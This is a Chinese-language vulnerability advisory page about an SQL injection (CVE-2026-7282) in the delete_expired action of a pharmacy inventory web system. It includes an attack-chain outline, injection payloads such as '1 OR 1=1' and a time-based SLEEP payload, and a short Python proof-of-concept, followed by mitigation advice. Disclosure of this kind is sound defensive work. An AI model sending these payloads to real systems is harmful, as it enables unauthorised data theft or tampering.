IPBUF安全漏洞报告
English
CVE-2026-7282 CVSS 4.7 中危

CVE-2026-7282: SourceCodester药房系统SQL注入漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7282
漏洞类型
SQL注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pharmacy Sales and Inventory System

相关标签

SQL注入SourceCodesterCVE-2026-7282Pharmacy SystemWeb安全

漏洞概述

SourceCodester Pharmacy Sales and Inventory System 1.0版本存在SQL注入漏洞。该漏洞位于/ajax.php文件的delete_expired功能中,由于对用户输入的ID参数缺乏有效过滤,攻击者可利用该漏洞执行恶意SQL语句,远程窃取敏感数据或破坏数据库完整性。

技术细节

该漏洞源于SourceCodester药房销售与库存管理系统后端代码的不安全实现。在处理删除过期药品的请求时(/ajax.php?action=delete_expired),程序直接获取用户提交的ID参数并将其拼接到SQL查询语句中,未使用预编译或严格的输入验证机制。根据CVSS向量分析,该漏洞需要高权限(PR:H)才可被利用,且攻击无需用户交互。攻击者一旦获得相应权限,可构造包含UNION SELECT、布尔盲注等语法的Payload注入数据库,进而绕过系统逻辑,非法读取、修改或删除数据库中的敏感信息,对系统的机密性、完整性和可用性造成影响。

攻击链分析

STEP 1
侦察与权限获取
攻击者确认目标使用SourceCodester Pharmacy Sales and Inventory System 1.0,并获取具备高权限的账户凭证。
STEP 2
构造攻击载荷
攻击者针对/ajax.php接口的delete_expired功能,构造包含恶意SQL代码的ID参数(如 '1 OR 1=1')。
STEP 3
发送恶意请求
攻击者向服务器发送经过精心设计的HTTP POST请求,触发后端数据库执行注入的SQL语句。
STEP 4
数据窃取与破坏
数据库执行恶意命令,导致敏感数据泄露(如用户信息、库存数据)或数据被非法篡改与删除。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): target = f"{url}/ajax.php" # Vulnerable parameter: ID # Exploiting delete_expired action payload = { "action": "delete_expired", "ID": "1' AND SLEEP(5)-- -" # Time-based blind SQL injection test } try: response = requests.post(target, data=payload, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability detected: SQL Injection in ID parameter.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target_url = "http://example.com" check_sqli(target_url)

影响范围

SourceCodester Pharmacy Sales and Inventory System 1.0

防御指南

临时缓解措施
在官方补丁未发布前,建议在网络边界部署Web应用防火墙(WAF),开启SQL注入防护规则。同时,严格限制管理后台的访问来源IP,并加强对/ajax.php接口的日志审计,一旦发现异常查询请求立即封禁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表